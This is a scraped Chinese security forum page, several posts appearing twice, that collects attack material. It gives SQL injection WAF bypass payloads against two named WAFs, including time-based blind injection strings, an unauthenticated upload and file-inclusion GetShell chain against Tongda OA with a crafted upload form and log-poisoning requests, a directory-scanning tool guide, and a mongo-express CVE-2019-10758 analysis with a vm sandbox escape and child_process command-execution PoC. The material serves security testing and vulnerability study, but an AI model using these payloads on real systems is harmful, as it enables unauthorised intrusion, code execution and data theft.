现在的网站安全意识逐渐变强,waf防御也应运而生,五花八门的安全狗防护着网站安全。而对于一些安全测试,我们就有必要对安全狗进行绕过。为了便于以后安全测试的方便,我们最合理的方法就是对不同waf绕过姿势日积月累。以下是两个waf的绕过姿势:
0x01 绕某狗
以下是有某安全狗的网站,看一下其绕过思路:
我们进行简单的and 1=1 之后发现是会被拦截的,那么我们就直接上fuzz





 
and 1 like 1 拦截
%23%0a 1=1 拦截

and /*!1=1*/ 不拦截
and hex(1) 不拦截
尝试绕过order by
此狗对结合的order by会进行拦截,那么我们就尝试分开order和by,尝试内联注释不行





 
order /*!by */ 1 拦截
order%23%0aby 1 不拦截
order --+%0a by 拦截
一般安全狗这种对查询中间添加一些无用数据就不会拦截 order xxx by
order all by 1不拦截 但是这种查询语句就无效的,这里我们就要想办法给他给注释掉





 
order --+all%0a by 1 不拦截 且语句有效
绕 union select
可以按照绕order by的思路尝试防止结合,中间添加一些数据
union%23%0aselect 被拦截
union--+%0aselect 被拦截
union%23xxx%0aselect 不拦截
union-- xxx%0aselect 不拦截
union--+xxx%0aselect 不拦截
有些安全狗不会对//里面内容进行校验
/&ID=-17 union select 1,2,3,4,5,6,7,8,9,10,11,12,13%23/ 不拦截
绕过系统函数(尝试/**/进行绕过)
database() -->database/**/()
database() -->database/*!()*/
user() --> user/**/()
user() -->user/*!()*/0x02 绕过云锁
order by
/*!order*//*!by*/1 拦截
/*!40000/*!30000order*//*!40000/*!30000by*/1 不拦截 这里30000是数据库版本如果大于他就会执行.
时间盲注开始尝试
id=2 and length(database())>1 不拦截,这里我们可以判断出数据库长度.
获取数据库名称
id= 2 and if(ascii(substr(database(),1,1))>120,1,sleep(7)) 拦截
id=2 and if(ascii(substr(database/**/(),1,1))>120,1,sleep/**/(7)) 不拦截
id=2 and if(ascii(substr(database/*!()*/,1,1))>120,1,sleep/*!(7)*/) 不拦截







 
后面内容是查询表和字段,就不再进行尝试,想要更进一步了解可以参照转载文章学习。
 
参考文章
https://xz.aliyun.com/t/7522
https://blog.csdn.net/bylfsj/article/details/101695699
https://xz.aliyun.com/t/7515 查看全部
0x00
现在的网站安全意识逐渐变强,waf防御也应运而生,五花八门的安全狗防护着网站安全。而对于一些安全测试,我们就有必要对安全狗进行绕过。为了便于以后安全测试的方便,我们最合理的方法就是对不同waf绕过姿势日积月累。以下是两个waf的绕过姿势:
0x01 绕某狗
以下是有某安全狗的网站,看一下其绕过思路:
我们进行简单的and 1=1 之后发现是会被拦截的,那么我们就直接上fuzz

1.png

 
and 1 like 1   拦截
%23%0a 1=1 拦截

and /*!1=1*/ 不拦截
and hex(1) 不拦截

尝试绕过order by
此狗对结合的order by会进行拦截,那么我们就尝试分开order和by,尝试内联注释不行

2.png

 
order /*!by */ 1 拦截
order%23%0aby 1 不拦截
order --+%0a by 拦截

一般安全狗这种对查询中间添加一些无用数据就不会拦截 order xxx by
order all by 1不拦截 但是这种查询语句就无效的,这里我们就要想办法给他给注释掉

3.png

 
order --+all%0a by 1 不拦截 且语句有效

绕 union select
可以按照绕order by的思路尝试防止结合,中间添加一些数据
union%23%0aselect 被拦截
union--+%0aselect 被拦截
union%23xxx%0aselect 不拦截
union-- xxx%0aselect 不拦截
union--+xxx%0aselect 不拦截

有些安全狗不会对//里面内容进行校验
/&ID=-17 union select 1,2,3,4,5,6,7,8,9,10,11,12,13%23/ 不拦截

绕过系统函数(尝试/**/进行绕过)
database() -->database/**/()
database() -->database/*!()*/
user() --> user/**/()
user() -->user/*!()*/
0x02 绕过云锁
order by
/*!order*//*!by*/1 拦截
/*!40000/*!30000order*//*!40000/*!30000by*/1 不拦截 这里30000是数据库版本如果大于他就会执行.
时间盲注开始尝试
id=2 and length(database())>1 不拦截,这里我们可以判断出数据库长度.

获取数据库名称
id= 2 and if(ascii(substr(database(),1,1))>120,1,sleep(7))  拦截
id=2 and if(ascii(substr(database/**/(),1,1))>120,1,sleep/**/(7)) 不拦截
id=2 and if(ascii(substr(database/*!()*/,1,1))>120,1,sleep/*!(7)*/) 不拦截



4.png

 
后面内容是查询表和字段,就不再进行尝试,想要更进一步了解可以参照转载文章学习。
 
参考文章
https://xz.aliyun.com/t/7522
https://blog.csdn.net/bylfsj/article/details/101695699
https://xz.aliyun.com/t/7515

通达OA文件上传/文件包含GetShell

heyha 发表了文章 • 0 个评论 • 365 次浏览 • 2020-04-02 16:56 • 来自相关话题

前言
 先来看看该漏洞的利用方式
 
绕过文件上传然后包含
 
包含日志文件
 
再来看看通达oa的信息
       通达信科隶属于世界500强企业。
 
       中国兵器工业信息中心通达信科隶属于中国兵器工业集团。
 
       通达OA系统代表了协同OA的先进理念,16年研发铸就成熟OA产品,协同OA软件行业唯一央企团队研发,多次摘取国内OA软件金奖,拥有2万多家正式用户,8万多家免费版用户,超过500万终端用户
 
影响版本:
V11版2017版2016版2015版2013版2013增强版
 
 
[b]漏洞分析[/b] 
跟进这个文件  ispirit/im/upload.php  <?php
set_time_limit(0);
$P = $_POST['P'];
if (isset($P) || $P != '') {
ob_start();
include_once 'inc/session.php';
session_id($P);
session_start();
session_write_close();
} else {
include_once './auth.php';
}这里在数据包里面对p赋值可以绕过登录限制直接上传文件
 





这里显示的是未登录
 





 
在这里已经绕过登录进行了文件的上传
 





 
 
在本地自己构造一个文件上传的页面<html>
<body>
<form action="http://127.0.0.1:8889/ispirit/im/upload.php" method="post" enctype="multipart/form-data">
<input type="text"name='P' value = 1 ></input>
<input type="text"name='MSG_CATE' value = 'file'></input>
<input type="text"name='UPLOAD_MODE' value = 1 ></input>
<input type="text" name="DEST_UID" value = 1></input>
<input type="file" name="ATTACHMENT"></input>
<input type="submit" ></input>
</body>
</html>




 
文件名为  随机数字.文件名.格式
 
包含点为  \ispirit\interface\gateway.phpif ($json) {
$json = stripcslashes($json);
$json = (array) json_decode($json);
foreach ($json as $key => $val ) {
if ($key == "data") {
$val = (array) $val;
foreach ($val as $keys => $value ) {
$keys = $value;
}
}
if ($key == "url") {
$url = $val;
}
}
if ($url != "") {
if (substr($url, 0, 1) == "/") {...}
if ((strpos($url, "general/") !== false) || (strpos($url, "ispirit/") !== false) || (strpos($url, "module/") !== false)) {
include_once $url;
}
}
exit();
}最后面存在一个包含点
 
直接get传参就行
 
先访问/ispirit/interface/gateway.php?json={}&aa=<?php file_put_contents('1.php','hello world');?>往日志里卖写一句话
 
在访问日志  ispirit/interface/gateway.php?json={}&url=../../ispirit/../../nginx/logs/oa.access.log
 
也可以访问刚才上传的图片
 
以post的方式
 
json={"url":"general/../../attach/im/2004/711609261.01.jpg"}
 





 
 
后面会给出exp
 
参考:
https://blog.csdn.net/q851579181q/article/details/104968391
https://blog.csdn.net/god_zzZ/article/details/105192808?ops_request_misc=%257B%2522request%255Fid%2522%253A%2522158579892119725211960470%2522%252C%2522scm%2522%253A%252220140713.130056874..%2522%257D&request_id=158579892119725211960470&biz_id=0&utm_source=distribute.pc_search_result.none-task
  查看全部
前言
 先来看看该漏洞的利用方式
 
绕过文件上传然后包含
 
包含日志文件
 
再来看看通达oa的信息
       通达信科隶属于世界500强企业。
 
       中国兵器工业信息中心通达信科隶属于中国兵器工业集团
 
       通达OA系统代表了协同OA的先进理念,16年研发铸就成熟OA产品,协同OA软件行业唯一央企团队研发,多次摘取国内OA软件金奖,拥有2万多家正式用户,8万多家免费版用户,超过500万终端用户
 
影响版本:
  • V11版
  • 2017版
  • 2016版
  • 2015版
  • 2013版
  • 2013增强版

 
 
[b]漏洞分析[/b] 
跟进这个文件  ispirit/im/upload.php  
<?php
set_time_limit(0);
$P = $_POST['P'];
if (isset($P) || $P != '') {
ob_start();
include_once 'inc/session.php';
session_id($P);
session_start();
session_write_close();
} else {
include_once './auth.php';
}
这里在数据包里面对p赋值可以绕过登录限制直接上传文件
 

td1.png

这里显示的是未登录
 

td2.png

 
在这里已经绕过登录进行了文件的上传
 

td2.5_.png

 
 
在本地自己构造一个文件上传的页面
<html>
<body>
<form action="http://127.0.0.1:8889/ispirit/im/upload.php" method="post" enctype="multipart/form-data">
<input type="text"name='P' value = 1 ></input>
<input type="text"name='MSG_CATE' value = 'file'></input>
<input type="text"name='UPLOAD_MODE' value = 1 ></input>
<input type="text" name="DEST_UID" value = 1></input>
<input type="file" name="ATTACHMENT"></input>
<input type="submit" ></input>
</body>
</html>

td3.png

 
文件名为  随机数字.文件名.格式
 
包含点为  \ispirit\interface\gateway.php
if ($json) {
$json = stripcslashes($json);
$json = (array) json_decode($json);
foreach ($json as $key => $val ) {
if ($key == "data") {
$val = (array) $val;
foreach ($val as $keys => $value ) {
$keys = $value;
}
}
if ($key == "url") {
$url = $val;
}
}
if ($url != "") {
if (substr($url, 0, 1) == "/") {...}
if ((strpos($url, "general/") !== false) || (strpos($url, "ispirit/") !== false) || (strpos($url, "module/") !== false)) {
include_once $url;
}
}
exit();
}
最后面存在一个包含点
 
直接get传参就行
 
先访问/ispirit/interface/gateway.php?json={}&aa=<?php file_put_contents('1.php','hello world');?>往日志里卖写一句话
 
在访问日志  ispirit/interface/gateway.php?json={}&url=../../ispirit/../../nginx/logs/oa.access.log
 
也可以访问刚才上传的图片
 
以post的方式
 
json={"url":"general/../../attach/im/2004/711609261.01.jpg"}
 

td5.png

 
 
后面会给出exp
 
参考:
https://blog.csdn.net/q851579181q/article/details/104968391
https://blog.csdn.net/god_zzZ/article/details/105192808?ops_request_misc=%257B%2522request%255Fid%2522%253A%2522158579892119725211960470%2522%252C%2522scm%2522%253A%252220140713.130056874..%2522%257D&request_id=158579892119725211960470&biz_id=0&utm_source=distribute.pc_search_result.none-task
 

web信息收集之目录扫描

sq_smile 发表了文章 • 0 个评论 • 1051 次浏览 • 2020-03-22 22:03 • 来自相关话题

0X01  简述: 目录扫描在网站信息收集的过程中也算是比较重要的一环,有的时候一个敏感文件、或者特殊的页面都可以让测试or漏洞挖掘的进程前进很多。本文就几款目录扫描的工具说一些自己的使用感受。
0X02  7kbscan: 个人觉得7kbscan是继御剑以后,比较好用的目录扫描工具。该工具1.5.8版本以前是在开发大佬的博客上,1.6.0以后的版本在github上。目前为止已经更新到1.6.2版本。


下载地址:https://github.com/7kbstorm/7kbscan-WebPathBrute
使用:
该工具支持单个url以及批量扫描。对单个目标进行扫描的时候,直接复制目标url,然后点击开始就行了。
如果目标存在waf,就需要启用延时扫描,间隔时间设置为1秒。
其他的使用方法参照github地址上,作者给出的特性自行研究,这里不再深挖。
0X03  sensinfor: 它也算是一个比较厉害的目录扫描工具,只不过它更多的扫描出敏感的文件,而不是目录。扫描备份文件和phpinfo页面有奇效。在7kbscan没有扫出来什么东西的时候我会选择使用它。将它的使用顺序放到后面,因为它的扫描速度有点疯狂。容易被ip,除此之外使用以后,一定要将它关上,不然你在正常访问其他网站的时候,体验会不是很好。使用:
1、下载源文件以后,导入google的扩展程序中。google扩展程序管理界面:chrome://extensions/ (直接在浏览器中打开即可,导入之前记得打开开发者模式,这个在扩展程序管理页面的右上角)。导入以后如下所示,如果不会导入,参考文章:https://zhuanlan.zhihu.com/p/57484771。导入以后如下所示:


2、具体的使用:打开一个web页面,在除了图片的任一地方右击。点击“Start Sensinfor”,然后刷新页面。如果有结果那个图标会变成红色,打开以后就是插件扫描到东西了。







 
0X03  dirsearch: 这个是很多大佬都推荐的目录扫描工具,效果确实不错。但是缺点也很明显,流量太大了。平常使用的时候,直接用我写的那条常用命令,如果有更多的需求,就参照进阶里的命令,自己挖掘姿势。
下载链接:https://github.com/maurosoria/dirsearch
使用:
初级:
-u 指定url
-e 指定网站语言
-w 加上自己的字典,带上路径。
-r 递归的去扫描目录
--random-agent 使用代理
python dirsearch.py -u http://www.xxx.com/ -e * #常用的命令

进阶:
Mandatory:
-u URL, --url=URL URL target
-L URLLIST, --url-list=URLLIST
URL list target
-e EXTENSIONS, --extensions=EXTENSIONS
Extension list separated by comma (Example: php,asp)


Dictionary Settings:
-w WORDLIST, --wordlist=WORDLIST
-l, --lowercase
-f, --force-extensions
Force extensions for every wordlist entry (like in
DirBuster)


General Settings:
-s DELAY, --delay=DELAY
Delay between requests (float number)
-r, --recursive Bruteforce recursively
-R RECURSIVE_LEVEL_MAX, --recursive-level-max=RECURSIVE_LEVEL_MAX
Max recursion level (subdirs) (Default: 1 [only
rootdir + 1 dir])
--suppress-empty, --suppress-empty
--scan-subdir=SCANSUBDIRS, --scan-subdirs=SCANSUBDIRS
Scan subdirectories of the given -u|--url (separated
by comma)
--exclude-subdir=EXCLUDESUBDIRS, --exclude-subdirs=EXCLUDESUBDIRS
Exclude the following subdirectories during recursive
scan (separated by comma)
-t THREADSCOUNT, --threads=THREADSCOUNT
Number of Threads
-x EXCLUDESTATUSCODES, --exclude-status=EXCLUDESTATUSCODES
Exclude status code, separated by comma (example: 301,
500)
-c COOKIE, --cookie=COOKIE
--ua=USERAGENT, --user-agent=USERAGENT
-F, --follow-redirects
-H HEADERS, --header=HEADERS
Headers to add (example: --header "Referer:
example.com" --header "User-Agent: IE"
--random-agents, --random-user-agents


Connection Settings:
--timeout=TIMEOUT Connection timeout
--ip=IP Resolve name to IP address
--proxy=HTTPPROXY, --http-proxy=HTTPPROXY
Http Proxy (example: localhost:8080
--http-method=HTTPMETHOD
Method to use, default: GET, possible also: HEAD;POST
--max-retries=MAXRETRIES
-b, --request-by-hostname
By default dirsearch will request by IP for speed.
This forces requests by hostname


Reports:
--simple-report=SIMPLEOUTPUTFILE
Only found paths
--plain-text-report=PLAINTEXTOUTPUTFILE
Found paths with status codes
--json-report=JSONOUTPUTFILE:
 0X04  Burpsuite的discover content:
     burpsuite在很多小白的眼里可能只是简单地用来抓包、重复发包、爆破等等用途。殊不知,他的扫描能力也是很强的。target——>site map——>Engagement   tools中的Discover content用来作为目录扫描工具是非常好用的。扫描程度很深,再配上自制的字典,基本上可以抛开某些扫描器了。




       1、对config模块的介绍:








        2、简单的配置:








      "discovered file"那一项更换成bf.txt。别的东西不需要动。
       3、启动:




           点击红色方框的按钮即可启动,扫描的时候可以在site map中查看扫描结果,查看建议对着数据包的response的title看,这样的查找效率很高。
       4、刚刚用到了burp_dir.txt、burp_filenames.txt、bf.txt。链接我会放在文章最后。
 
0X05   总结:
       以上的目录扫描工具根据自己的使用情况所做的总结,仅供参考。希望各位都能有一套自己喜欢的目录扫描方案,工具只有最顺手的,对自己来说才是最好的。在最后,祝各位师傅能挖到很多的漏洞。
 
0X06  链接以及参考文章:参考链接:https://gh0st.cn/archives/2020-02-13/1
https://raw.githubusercontent.com/TheKingOfDuck/myScripts/master/burp_dir.txt
https://raw.githubusercontent.com/TheKingOfDuck/myScripts/master/burp_filenames.txt
bf.txt:
txt
md
xml
db
7z
rar
zip
gz
tar
tar.gz
sql
bak
swp
old
properties
inc
ini
mdb
mdf
conf
config
log
rar
  查看全部
0X01  简述:
    目录扫描在网站信息收集的过程中也算是比较重要的一环,有的时候一个敏感文件、或者特殊的页面都可以让测试or漏洞挖掘的进程前进很多。本文就几款目录扫描的工具说一些自己的使用感受。

0X02  7kbscan:
    个人觉得7kbscan是继御剑以后,比较好用的目录扫描工具。该工具1.5.8版本以前是在开发大佬的博客上,1.6.0以后的版本在github上。目前为止已经更新到1.6.2版本。
1.png
下载地址:https://github.com/7kbstorm/7kbscan-WebPathBrute
使用:
该工具支持单个url以及批量扫描。对单个目标进行扫描的时候,直接复制目标url,然后点击开始就行了。
如果目标存在waf,就需要启用延时扫描,间隔时间设置为1秒。
其他的使用方法参照github地址上,作者给出的特性自行研究,这里不再深挖。

0X03  sensinfor:
    它也算是一个比较厉害的目录扫描工具,只不过它更多的扫描出敏感的文件,而不是目录。扫描备份文件和phpinfo页面有奇效。在7kbscan没有扫出来什么东西的时候我会选择使用它。将它的使用顺序放到后面,因为它的扫描速度有点疯狂。容易被ip,除此之外使用以后,一定要将它关上,不然你在正常访问其他网站的时候,体验会不是很好。
使用:
1、下载源文件以后,导入google的扩展程序中。google扩展程序管理界面:chrome://extensions/ (直接在浏览器中打开即可,导入之前记得打开开发者模式,这个在扩展程序管理页面的右上角)。导入以后如下所示,如果不会导入,参考文章:https://zhuanlan.zhihu.com/p/57484771。导入以后如下所示:
2.png
  2、具体的使用:打开一个web页面,在除了图片的任一地方右击。点击“Start Sensinfor”,然后刷新页面。如果有结果那个图标会变成红色,打开以后就是插件扫描到东西了。
3.png

4.png

 
0X03  dirsearch:
    这个是很多大佬都推荐的目录扫描工具,效果确实不错。但是缺点也很明显,流量太大了。平常使用的时候,直接用我写的那条常用命令,如果有更多的需求,就参照进阶里的命令,自己挖掘姿势。
下载链接:https://github.com/maurosoria/dirsearch
使用:
初级:
-u 指定url
-e 指定网站语言
-w 加上自己的字典,带上路径。
-r 递归的去扫描目录
--random-agent 使用代理
python dirsearch.py -u http://www.xxx.com/ -e * #常用的命令

进阶:
Mandatory:
-u URL, --url=URL URL target
-L URLLIST, --url-list=URLLIST
URL list target
-e EXTENSIONS, --extensions=EXTENSIONS
Extension list separated by comma (Example: php,asp)


Dictionary Settings:
-w WORDLIST, --wordlist=WORDLIST
-l, --lowercase
-f, --force-extensions
Force extensions for every wordlist entry (like in
DirBuster)


General Settings:
-s DELAY, --delay=DELAY
Delay between requests (float number)
-r, --recursive Bruteforce recursively
-R RECURSIVE_LEVEL_MAX, --recursive-level-max=RECURSIVE_LEVEL_MAX
Max recursion level (subdirs) (Default: 1 [only
rootdir + 1 dir])
--suppress-empty, --suppress-empty
--scan-subdir=SCANSUBDIRS, --scan-subdirs=SCANSUBDIRS
Scan subdirectories of the given -u|--url (separated
by comma)
--exclude-subdir=EXCLUDESUBDIRS, --exclude-subdirs=EXCLUDESUBDIRS
Exclude the following subdirectories during recursive
scan (separated by comma)
-t THREADSCOUNT, --threads=THREADSCOUNT
Number of Threads
-x EXCLUDESTATUSCODES, --exclude-status=EXCLUDESTATUSCODES
Exclude status code, separated by comma (example: 301,
500)
-c COOKIE, --cookie=COOKIE
--ua=USERAGENT, --user-agent=USERAGENT
-F, --follow-redirects
-H HEADERS, --header=HEADERS
Headers to add (example: --header "Referer:
example.com" --header "User-Agent: IE"
--random-agents, --random-user-agents


Connection Settings:
--timeout=TIMEOUT Connection timeout
--ip=IP Resolve name to IP address
--proxy=HTTPPROXY, --http-proxy=HTTPPROXY
Http Proxy (example: localhost:8080
--http-method=HTTPMETHOD
Method to use, default: GET, possible also: HEAD;POST
--max-retries=MAXRETRIES
-b, --request-by-hostname
By default dirsearch will request by IP for speed.
This forces requests by hostname


Reports:
--simple-report=SIMPLEOUTPUTFILE
Only found paths
--plain-text-report=PLAINTEXTOUTPUTFILE
Found paths with status codes
--json-report=JSONOUTPUTFILE:

 0X04  Burpsuite的discover content:
     burpsuite在很多小白的眼里可能只是简单地用来抓包、重复发包、爆破等等用途。殊不知,他的扫描能力也是很强的。target——>site map——>Engagement   tools中的Discover content用来作为目录扫描工具是非常好用的。扫描程度很深,再配上自制的字典,基本上可以抛开某些扫描器了。
5.png

       1、对config模块的介绍:
6.png

7.png

        2、简单的配置:
8.png

9.png

      "discovered file"那一项更换成bf.txt。别的东西不需要动。
       3、启动:
10.png

           点击红色方框的按钮即可启动,扫描的时候可以在site map中查看扫描结果,查看建议对着数据包的response的title看,这样的查找效率很高。
       4、刚刚用到了burp_dir.txt、burp_filenames.txt、bf.txt。链接我会放在文章最后。
 
0X05   总结:
       以上的目录扫描工具根据自己的使用情况所做的总结,仅供参考。希望各位都能有一套自己喜欢的目录扫描方案,工具只有最顺手的,对自己来说才是最好的。在最后,祝各位师傅能挖到很多的漏洞。
 
0X06  链接以及参考文章:
参考链接:https://gh0st.cn/archives/2020-02-13/1
https://raw.githubusercontent.com/TheKingOfDuck/myScripts/master/burp_dir.txt
https://raw.githubusercontent.com/TheKingOfDuck/myScripts/master/burp_filenames.txt
bf.txt:
txt
md
xml
db
7z
rar
zip
gz
tar
tar.gz
sql
bak
swp
old
properties
inc
ini
mdb
mdf
conf
config
log
rar

 

mongo-express远程代码执行漏洞分析--转

llpkk 发表了文章 • 0 个评论 • 430 次浏览 • 2020-03-15 19:16 • 来自相关话题

    近日,奇安信CERT监测到mongo-express远程代码执行漏洞,漏洞编号为CVE-2019-10758。凭借着对Node.js漏洞天生好奇(也是因为我好久没有写类似文章了),便深入跟进了这个漏洞。漏洞原理虽然简单但还是比较有意思的。那么闲话少说,慢慢跟我来看吧。
 
漏洞简介
先介绍下mongo-express是个什么工具,简单的说,mongo-express是一个MongoDB的客户端。和传统我们经常使用的数据库客户端不同的是,mongo-express是一套基于Web的客户端。它使用Node.js+express(一个Node.js服务器框架)开发,故名mongo-express。很自然的,这个客户端能对建立连接的MongoDB数据库执行任意操作。

此漏洞是因为代码中使用的vm去执行不安全的用户可控的代码导致的远程代码执行。至此我把这个漏洞的概况先抛出来,我们继续看。

环境搭建
阅读官方GitHub的安全公告,我们发现漏洞影响0.54.0以下的所有版本,打开DockerHub搜索mongo-express,在官方镜像页面中的tag中可随意选择0.54.0以下的版本进行环境搭建。我们以0.49为例。由于此漏洞环境还需要MongoDB数据库,我们可以通过执行以下docker命令进行快速搭建:

搭建MongoDB数据库docker run --name mymongo -d mongo:3.2搭建包含漏洞的mongo-express并且连接到上面的MongoDB数据库:docker run -it --rm -p 8081:8081 --link mymongo:mongo mongo-express:0.49当看到以下输出即说明mongo-express成功运行并成功连接MongoDB数据库。








根据上面的输出我们可以发现,mongo-express使用了Basic认证,并且默认账号密码为admin:pass,所以此漏洞虽然是高权限才可以利用,但因为默认高权限账号密码的存在,如果不修改默认账号密码,极易受到攻击。

环境搭建完毕后我们可以访问http://localhost:8081/去看看mongo-express长什么样子了。








漏洞分析
漏洞问题出在lib/bson.js中的toBSON()函数中。熟悉MongoDB的同学应该知道,MongoDB存储和查询数据的格式是BSON,它长得像JSON但并不是JSON,数据类型和JSON是有所不同的。众所周知,JSON的数据类型包括string、number、object、array、boolean和null,而BSON的基础数据类型包括byte、int32、int64、uint64、double、decimal128。其中byte类型又可以根据不同的定义派生出更多的类型。若想详细了解BSON相关知识可查看BSON Spec,或者参考gyyyy的文章:《浅析SQL和NoSQL注入(下)》中的“关于BSON”部分。这篇文章就不再赘述了。我们只需要知道BSON和JSON在数据类型上有很大区别就好。

mongo-express中的所有和BSON相关的操作,如新建一个文档(类似其他数据库的插入操作)都需要通过toBSON()函数。如我使用mongo-express新建如下文档:
 






通过Chrome调试工具,我们可以发现,在我新建一个文档的时候,前端把数据处理成表单的形式提交给后端,如下图:








在lib/bson.js中的toBSON()函数中断点,命中后即可看到如下字符串传入了后端:








我们先来分析一下这段代码,可以发现在toBSON()函数上面的getSandbox()定义了MongoDB相关的数据类型,然后在下面的toBSON()函数中对传入的字符串进行了转换,最终变成BSON类型的文档。

代码作者在注释中也提到了,因为JSON.parse不支持BSON类型,因此写了toBSON()函数去转换传入的字符串为BSON类型。我们可以显而易见的看到eval()函数的调用。eval is evil,eval()函数在JavaScript中本就是一个危险函数的存在,在前端中eval()可以造成XSS漏洞,而随着JavaScript被用到了后端,如果eval()中的内容可控,就可以直接造成代码执行了。那么我们是不是就可以直接构造一个类似其他Node.js代码执行漏洞的代码执行PoC即可了?没那么简单。

细心的同学想必已经发现了,toBSON()部分的代码使用了vm模块执行,它是Node.js默认就提供的一个内建模块,vm模块提供了一系列API用于在V8虚拟机环境中编译和运行代码。也就是说通过vm执行的JavaScript代码会运行在一个沙盒中。代码作者其实并没有忽略安全问题。那么在vm中执行的代码就真的安全了吗?我们来简化源码做一个实验:function evalDirect(string) {
eval(string);
}

function evalUseVm(string) {
const vm = require('vm');
const sandbox = {};
vm.runInNewContext('eval((' + string + '));', sandbox);
}

evalDirect('require("child_process").execSync("open /System/Applications/Calculator.app")');
evalUseVm('require("child_process").execSync("open /System/Applications/Calculator.app")');
运行这段代码,在调用evalDirect()函数时弹出了计算器,而在执行evalUseVm()函数时抛出如下错误:








报错中说,require未定义。那么只要想办法找到require就能继续构造PoC了。在JavaScript中,创建一个对象,即通过这个对象的原型对象的构造函数实例化这个对象,因此,原型对象是新对象的“模版”。那么假设我们使用的vm的沙箱就是一个当前进程上下文创建的对象,那么我们能不能通过链式调用vm的沙箱的构造函数来查找到当前上下文并且拿到require呢?vm在GitHub中的一个issue:Sandbox can be broken已经给出了答案,这个问题貌似永远也不会得到修复了。

通过this.constructor.constructor("return process")即可拿到当前上下文,我们可以看到其中包含了Node.js的全部全局变量:








这样我们就可以轻松拿到require构造PoC了。

补丁分析
从GitHub补丁diff上看,修复方案是删掉了全部使用vm的代码,而将BSON的处理转为通过mongodb-query-parser和mongodb-extended-json这两个库配合实现:








修复建议
建议升级到mongo-express 0.54.0及以上版本,并且修改默认密码。mongo-express虽然是一个Web项目,但只建议内网使用,或使用其他客户端代替。

总结
通过近期对Node.js漏洞代码的研究,隐约发现Node.js漏洞的一些规律,如eval()出现在代码中,require("child_process")出现在代码中,只要他们可以被控制 ,甚至如CVE-2019-7609的kibana RCE漏洞仅仅是可以控制环境变量,都可能造成较严重的后果。今后再做Node.js相关项目的代码审计、漏洞分析或漏洞挖掘时,我们应充分利用JavaScript的语言特性,或许能总结出更多规律,让思路更清晰。

参考
http://bsonspec.org/spec.html
https://github.com/gf3/sandbox/issues/50
https://juejin.im/post/5afe3c91518825673954f718
https://github.com/mongo-express/mongo-express/pull/522
https://odino.org/eval-no-more-understanding-vm-vm2-nodejs/
https://github.com/gyyyy/footprint/blob/master/articles/2018/sql-vs-nosql-injection-02.md
https://github.com/mongo-express/mongo-express/security/advisories/GHSA-h47j-hc6x-h3qq
 
原文:https://x3fwy.bitcron.com/post/mongo-express-rce-explained
  查看全部
    近日,奇安信CERT监测到mongo-express远程代码执行漏洞,漏洞编号为CVE-2019-10758。凭借着对Node.js漏洞天生好奇(也是因为我好久没有写类似文章了),便深入跟进了这个漏洞。漏洞原理虽然简单但还是比较有意思的。那么闲话少说,慢慢跟我来看吧。
 
漏洞简介
先介绍下mongo-express是个什么工具,简单的说,mongo-express是一个MongoDB的客户端。和传统我们经常使用的数据库客户端不同的是,mongo-express是一套基于Web的客户端。它使用Node.js+express(一个Node.js服务器框架)开发,故名mongo-express。很自然的,这个客户端能对建立连接的MongoDB数据库执行任意操作。

此漏洞是因为代码中使用的vm去执行不安全的用户可控的代码导致的远程代码执行。至此我把这个漏洞的概况先抛出来,我们继续看。

环境搭建
阅读官方GitHub的安全公告,我们发现漏洞影响0.54.0以下的所有版本,打开DockerHub搜索mongo-express,在官方镜像页面中的tag中可随意选择0.54.0以下的版本进行环境搭建。我们以0.49为例。由于此漏洞环境还需要MongoDB数据库,我们可以通过执行以下docker命令进行快速搭建:

搭建MongoDB数据库
docker run --name mymongo -d mongo:3.2
搭建包含漏洞的mongo-express并且连接到上面的MongoDB数据库:
docker run -it --rm -p 8081:8081 --link mymongo:mongo mongo-express:0.49
当看到以下输出即说明mongo-express成功运行并成功连接MongoDB数据库。

1.png




根据上面的输出我们可以发现,mongo-express使用了Basic认证,并且默认账号密码为admin:pass,所以此漏洞虽然是高权限才可以利用,但因为默认高权限账号密码的存在,如果不修改默认账号密码,极易受到攻击。

环境搭建完毕后我们可以访问http://localhost:8081/去看看mongo-express长什么样子了。

2.png




漏洞分析
漏洞问题出在lib/bson.js中的toBSON()函数中。熟悉MongoDB的同学应该知道,MongoDB存储和查询数据的格式是BSON,它长得像JSON但并不是JSON,数据类型和JSON是有所不同的。众所周知,JSON的数据类型包括string、number、object、array、boolean和null,而BSON的基础数据类型包括byte、int32、int64、uint64、double、decimal128。其中byte类型又可以根据不同的定义派生出更多的类型。若想详细了解BSON相关知识可查看BSON Spec,或者参考gyyyy的文章:《浅析SQL和NoSQL注入(下)》中的“关于BSON”部分。这篇文章就不再赘述了。我们只需要知道BSON和JSON在数据类型上有很大区别就好。

mongo-express中的所有和BSON相关的操作,如新建一个文档(类似其他数据库的插入操作)都需要通过toBSON()函数。如我使用mongo-express新建如下文档:
 
3.png



通过Chrome调试工具,我们可以发现,在我新建一个文档的时候,前端把数据处理成表单的形式提交给后端,如下图:

4.png




在lib/bson.js中的toBSON()函数中断点,命中后即可看到如下字符串传入了后端:

5.png




我们先来分析一下这段代码,可以发现在toBSON()函数上面的getSandbox()定义了MongoDB相关的数据类型,然后在下面的toBSON()函数中对传入的字符串进行了转换,最终变成BSON类型的文档。

代码作者在注释中也提到了,因为JSON.parse不支持BSON类型,因此写了toBSON()函数去转换传入的字符串为BSON类型。我们可以显而易见的看到eval()函数的调用。eval is evil,eval()函数在JavaScript中本就是一个危险函数的存在,在前端中eval()可以造成XSS漏洞,而随着JavaScript被用到了后端,如果eval()中的内容可控,就可以直接造成代码执行了。那么我们是不是就可以直接构造一个类似其他Node.js代码执行漏洞的代码执行PoC即可了?没那么简单。

细心的同学想必已经发现了,toBSON()部分的代码使用了vm模块执行,它是Node.js默认就提供的一个内建模块,vm模块提供了一系列API用于在V8虚拟机环境中编译和运行代码。也就是说通过vm执行的JavaScript代码会运行在一个沙盒中。代码作者其实并没有忽略安全问题。那么在vm中执行的代码就真的安全了吗?我们来简化源码做一个实验:
function evalDirect(string) {
eval(string);
}

function evalUseVm(string) {
const vm = require('vm');
const sandbox = {};
vm.runInNewContext('eval((' + string + '));', sandbox);
}

evalDirect('require("child_process").execSync("open /System/Applications/Calculator.app")');
evalUseVm('require("child_process").execSync("open /System/Applications/Calculator.app")');

运行这段代码,在调用evalDirect()函数时弹出了计算器,而在执行evalUseVm()函数时抛出如下错误:

6.png




